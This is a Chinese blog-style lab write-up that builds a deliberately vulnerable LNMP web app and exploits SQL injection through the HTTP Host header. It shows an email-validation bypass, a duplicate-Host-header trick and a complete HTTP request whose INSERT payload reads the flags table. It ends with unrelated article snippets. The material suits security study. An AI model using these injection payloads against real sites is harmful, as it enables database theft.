攻击LNMP架构Web应用

环境配置(centos7)

1.php56 + php56-fpm

//配置epel
yum install epel-release
rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm//安装php56,php56-fpm及其依赖
yum --enablerepo=remi install php56-php
yum  --enablerepo=remi install php56-php-devel php56-php-fpm php56-php-gd php56-php-xml php56-php-sockets php56-php-session php56-php-snmp php56-php-mysql

2.nginx

①去往cd /usr/share/nginx/html/ 新建目录kaka,将protected文件夹和web文件夹放入kaka目录

②再去往protected目录下找到config.php设置与mysql5.7的连接

<?phpdate_default_timezone_set('PRC');$config = array('rewrite' => array('<m>/<c>/<a>'          => '<m>/<c>/<a>','<c>/<a>'          => '<c>/<a>','/'                => 'main/index',),'debug' => 1,'mysql' => array('MYSQL_HOST' => 'localhost','MYSQL_PORT' => '3306','MYSQL_USER' => 'root','MYSQL_DB'   => 'LNMP','MYSQL_PASS' => 'QWER97!','MYSQL_CHARSET' => 'utf8mb4',),
);
return $config;

③修改nginx配置文件nginx.conf,添加以下内容

server{listen 80;root /usr/local/nginx/html/kaka/web;index index.html index.php;server_name 2023.saorikaka.pw;location / {try_files $uri $uri/ /index.php;}location ~ \.php$ {fastcgi_pass   127.0.0.1:9000;fastcgi_index  index.php;fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;include        fastcgi_params;}
}

④找到html目录下的index.html文件

在body添加内容

<form action="" method="post" enctype="multipart/form-data"></form>

⑤去 /protected/view 找main_register.html文件添加内容enctype="multipart/form-data"

 ⑥尝试登陆该网页,使用IP地址登陆,看是否跳转到 IP地址/main/log,如果357行报错,我们可以去/protected/lib目录下的core.php中将 $GLOBALS['view']['compile_dir']后的内容改为 ‘/tmp’

 成功登陆后去往regist注册页面

 

3.mysql5.7

//mysql 随便创建一个数据库并使用,添加如下代码创建存放flag的数据表
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;DROP TABLE IF EXISTS `flags`;
CREATE TABLE `flags` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`flag` varchar(256) DEFAULT NULL,PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`username` varchar(256) NOT NULL,`password` varchar(32) NOT NULL,`email` varchar(256) DEFAULT NULL,PRIMARY KEY (`id`),UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8mb4;SET FOREIGN_KEY_CHECKS = 1;//插入一个flag
insert into flags (flag) value ('I_Love_security');

题干

注册、登录功能相关代码

<?php
escape($_REQUEST);
escape($_POST);
escape($_GET);function escape(&$arg) {if(is_array($arg)) {foreach ($arg as &$value) {escape($value);}} else {$arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);}
}function arg($name, $default = null, $trim = false) {if (isset($_REQUEST[$name])) {$arg = $_REQUEST[$name];} elseif (isset($_SERVER[$name])) {$arg = $_SERVER[$name];} else {$arg = $default;}if($trim) {$arg = trim($arg);}return $arg;
}

值得注意的点

1.escape是将GPR中的单引号、圆括号转换成中文符号,反斜线进行转义

2.$_REQUEST,$_POST,$_GET全都需要经过escape函数的过滤

3.arg是获取用户输入的$_REQUEST或$_SERVER。但这里$_SERVER变量没有经过转义

控制代码

<?php
function actionRegister(){if ($_POST) {$username = arg('username');$password = arg('password');if (empty($username) || empty($password)) {$this->error('Username or password is empty.');}$email = arg('email');if (empty($email)) {$email = $username . '@' . arg('HTTP_HOST');}if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {$this->error('Email error.');}$user = new User();$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");if ($data) {$this->error('This username is exists.');}$ret = $user->create(['username' => $username,'password' => md5($password),'email' => $email]);if ($ret) {$_SESSION['user_id'] = $user->lastInsertId();} else {$this->error('Unknown error.');}}}

值得注意的点

1.账号和密码被empty函数检测,不可以为空,会报错。

2.邮箱不填写内容会自动设置为"用户名@网站域名"

3.create方法其实就是拼接了一个INSERT语句

4.因为$_SERVER没有经过转义,我们只需要在HTTP头Host值中引入单引号,即可造成一个SQL注入漏洞,但email变量经过了filter_var($email, FILTER_VALIDATE_EMAIL)的检测,我们首先要绕过FILTER_VALIDATE_EMAIL

绕过FILTER_VALIDATE_EMAIL

FILTER_VALIDATE_EMAIL的规则

RFC 3696规定,邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:

  1. 将特殊字符用\转义,如Joe\'Blow@example.com
  2. 或将local part包裹在双引号中,如"Joe'Blow"@example.com
  3. local part长度不超过64个字符

虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用其绕过FILTER_VALIDATE_EMAIL的检测

绕过思路一

因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为",Host为aaa'"@example.com,

(将单引号'被包裹在双引号""中)

最后拼接出来的邮箱为"@aaa'"@example.com

简单来说

username 给一个 "

host 给一个 aaa'"@example.com

按照函数里拼接的方法 username + @ +host

结果就是"@aaa'"@example.com  这样单引号'就被带进去了

利用burpsuite进行绕过测试

1.输入  账号 "x  密码随意   email空着就行 

2.打开抓包工具 intercept is on

3.在网页上输入我们预想的账号和密码,进行sign up

4.查看抓包工具

 5.将内容全选 send to Repeater

6.去掉一些没有用的杂质

POST /main/register HTTP/1.1
Host: 192.168.226.140
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryloAJbBwR6NkeAfK6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7------WebKitFormBoundaryloAJbBwR6NkeAfK6
Content-Disposition: form-data; name="username""x
------WebKitFormBoundaryloAJbBwR6NkeAfK6
Content-Disposition: form-data; name="password"123kaka
------WebKitFormBoundaryloAJbBwR6NkeAfK6--

7.真正准备绕过 

修改host为 aaaa'"@qq.com

8.send提交

 

可以看见单引号 ' 已经进入了

语法错误是因为多了一个单引号,出错才代表注入成功

查看网页内容

可见已经绕过成功 

绕过思路二——双host

更早版本,差不多 nginx1.15.10的时候  使用两个Host头

当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准

当我们传入如下

Host: 2023.mhz.pw

Host: xxx'"@example.com

Nginx将认为Host为2023.mhz.pw,并交给目标Server块处理;但PHP中使用$_SERVER['HTTP_HOST']取到的值却是xxx'"@example.com

绕过思路三——insert注入方法

POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
insert into users values ('"a','dsadsadasdwdasda','"a@'),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------356678531
Content-Length: 176----------356678531
Content-Disposition: form-data; name="username""a
----------356678531
Content-Disposition: form-data; name="password"aaa
----------356678531--

闭合之前的insert语句并添加一个用户t123,将flag读取到email字段

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/39856.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

常见的字符编码有哪些?有什么区别?

目录 面试回答 知识扩展 Unicode 和 UTF-8 有啥关系&#xff1f; 有了 UTF-8&#xff0c;为什么要出现 GBK 为什么会出现乱码 面试回答 就像电报只能发出“滴”和“答”声一样&#xff0c;计算机只认为 0 和1 两种字符&#xff0c;但是&#xff0c;人类的文字是多种多样的&…

B树和B+树区别

B树和B树的区别 B树 B树被称为平衡树&#xff0c;在B树中&#xff0c;一个节点可以有两个以上的子节点。B树的高度为log M N。在B树中&#xff0c;数据按照特定的顺序排序&#xff0c;最小值在左侧&#xff0c;最大值在右侧。 B树是一种平衡的多分树&#xff0c;通常我们说m阶…

什么是网络地址转换 (NAT)

网络地址转换&#xff08;NAT&#xff09;是更改源和目标 IP 地址和端口的过程&#xff0c;地址转换减少了对 IPv4 公共地址的需求&#xff0c;并隐藏了专用网络地址范围&#xff0c;该过程通常由路由器或防火墙完成。 NAT是如何工作的 NAT 允许单个设备&#xff08;如路由器…

rhel 8.7 部署 keepalived+haproxy 实现 mysql 双主高可用场景

文章目录 [toc]部署 mysql关闭防火墙关闭 selinux创建相关目录创建 mysql 用户配置 PATH 变量验证 mysql 命令切换到 mysql 用户在 172.72.0.116 生成配置文件在 172.72.0.137 生成配置文件mysql 初始化启动 mysql 服务修改 mysql 的 root 用户密码配置主从关系172.72.0.137 配…

数字化格局下的引领者:百望云通过强制性国家标准GB18030-2022最高级别认证

8月1日,强制性国家标准GB 18030-2022《信息技术 中文编码字符集》实施。8月15日,百望云“绿页阅读器”正式通过中国电子技术标准化研究院强制性国家标准GB18030-2022《信息技术 中文编码字符集》最高级(实现级别3)认证,彰显了百望云在数字化信息处理领域对标国家标准的卓越技术…

Android CameraX适配Android13的踩坑之路

AndroidCameraX适配Android13的踩坑之路 前言&#xff1a; 最近把AGP插件升级到8.1.0&#xff0c;新建项目的时候目标版本和编译版本都是33&#xff0c;发现之前的demo使用Camerax拍照和录像都失败了&#xff0c;于是查看了一下官网和各种资料&#xff0c;找到了Android13的适…

网络编程(12): TCP重传、滑动窗口、流量控制、拥塞控制

1、TCP重传机制 通过序列号和确认号确保可靠传输&#xff0c;当发送端发送数据给接收到&#xff0c;接收端会返回一个确认号&#xff0c;表示收到消息了 超时重传&#xff1a;没有在指定时间内收到ACK报文 超时重传的两种可能&#xff1a;数据包丢失、确认包丢失超时重传时间RT…

第十三课:QtCmd 命令行终端应用程序开发

功能描述&#xff1a;开发一个类似于 Windows 命令行提示符或 Linux 命令行终端的应用程序 一、最终演示效果 QtCmd 不是因为它是 Qt 的组件&#xff0c;而是采用 Qt 开发了一个类似 Windows 命令提示符或者 Linux 命令行终端的应用程序&#xff0c;故取名为 QtCmd。 上述演示…

FreeMarker系列--list的用法(长度,遍历,下标,嵌套,排序)

原文网址&#xff1a;FreeMarker系列--list的用法&#xff08;长度,遍历,下标,嵌套,排序&#xff09;_IT利刃出鞘的博客-CSDN博客 简介 本文介绍FreeMarker的list的用法。 大小 Java ArrayList<String> list new ArrayList<String>(); Freemaker ${list?s…

W5500-EVB-PICO 做UDP Server进行数据回环测试(七)

前言 前面我们用W5500-EVB-PICO 开发板在TCP Client和TCP Server模式下&#xff0c;分别进行数据回环测试&#xff0c;本章我们将用开发板在UDP Server模式下进行数据回环测试。 UDP是什么&#xff1f;什么是UDP Server&#xff1f;能干什么&#xff1f; UDP (User Dataqram P…

图数据库_Neo4j学习cypher语言_使用CQL命令002_删除节点_删除属性_结果排序Order By---Neo4j图数据库工作笔记0006

然后我们再来看如何删除节点 可以看到首先 我们这里 比如我要删除张三 可以看到 match (n:student) where n.name = "张三" delete n 这样就是删除了student集合中,name是张三的节点 然后我们再来看 如何来删除关系 match (n:student)-[r]->(m:student) where…

机器学习、cv、nlp的一些前置知识

为节省篇幅&#xff0c;不标注文章来源和文章的问题场景。大部分是我的通俗理解。 文章目录 向量关于向量的偏导数&#xff1a;雅可比矩阵二阶导数矩阵&#xff1a;海森矩阵随机变量随机场伽马函数beta分布数学术语坐标上升法协方差训练集&#xff0c;验证集&#xff0c;测试集…

Nginx的安装及负载均衡搭建

一.Nginx的安装 1&#xff09;准备安装环境 yum install -y make gcc gcc-c pcre-devel pcre zlib zlib-devel openssl openssl-develPERE PCRE(Perl Compatible Regular Expressions)是一个Perl库&#xff0c;包括 perl 兼容的正则表达式库。 nginx的http模块使用pcre来解…

前端jd要求:了解一门后端开发语言优先 解决方案之Node.js

前端jd要求&#xff1a;了解一门后端开发语言优先 解决方案之Node.js 前言常见的后端开发语言一、什么是 Node.js二、学习 Node.js 的前置知识三、学习 Node.js 的步骤1、Node.js 的安装2、Node.js 的基本语法和 API模块导入和导出文件读写操作HTTP 服务器命令行参数 3、Node.j…

可能导致不可接受的信息安全事件发生的核电站事故。

立陶宛伊格纳利纳核电站&#xff08;1992 年&#xff09; 一名在该核电站工作的程序员将恶意代码上传到一个负责反应堆子系统运行的自动化系统中&#xff0c;该系统被及时发现。 但如果没有及时发现&#xff0c;谁知道会发生什么呢&#xff1f;核电站被关闭以进行调查。有关这…

Vue-8.集成(.editorconfig、.eslintrc.js、.prettierrc)

介绍 同时使用 .editorconfig、.prettierrc 和 .eslintrc.js 是很常见的做法&#xff0c;因为它们可以在不同层面上帮助确保代码的格式一致性和质量。这种组合可以在开发过程中提供全面的代码维护和质量保证。然而&#xff0c;这也可能增加一些复杂性&#xff0c;需要谨慎配置…

Coreutils工具包,Windows下使用Linux命令

之前总结过两篇有关【如何在Windows系统下使用Linux的常用命令】的文章&#xff1a; GnuWin32&#xff0c;Windows下使用Linux命令 UnxUtils工具包&#xff0c;Windows下使用Linux命令 今天再推荐一个类似的工具包Coreutils 一、简介 GNU core utilities是GNU操作系统基本…

【HDFS】hdfs的count命令的参数详解

Usage: hadoop fs -count [-q] [-h] [-v] [-x] [-t [<storage type>]] [-u] [-e] [-s] <paths

(学习笔记-进程管理)怎么避免死锁?

死锁的概念 在多线程编程中&#xff0c;我们为了防止多线程竞争共享资源而导致数据错乱&#xff0c;都会在操作共享资源之前加上互斥锁&#xff0c;只有成功获得到锁的线程&#xff0c;才能操作共享资源&#xff0c;获取不到锁的线程就只能等待&#xff0c;直到锁被释放。 那…

创建一个简单的HTML Viewer应用程序

使用wxPython和内嵌浏览器来创建一个简单的HTML Viewer应用程序。 在本篇文章中&#xff0c;我们将使用Python和wxPython模块来创建一个简单的HTML Viewer应用程序。这个应用程序可以让用户输入HTML内容&#xff0c;并在内嵌浏览器中显示该内容的效果。 准备工作 在开始之前…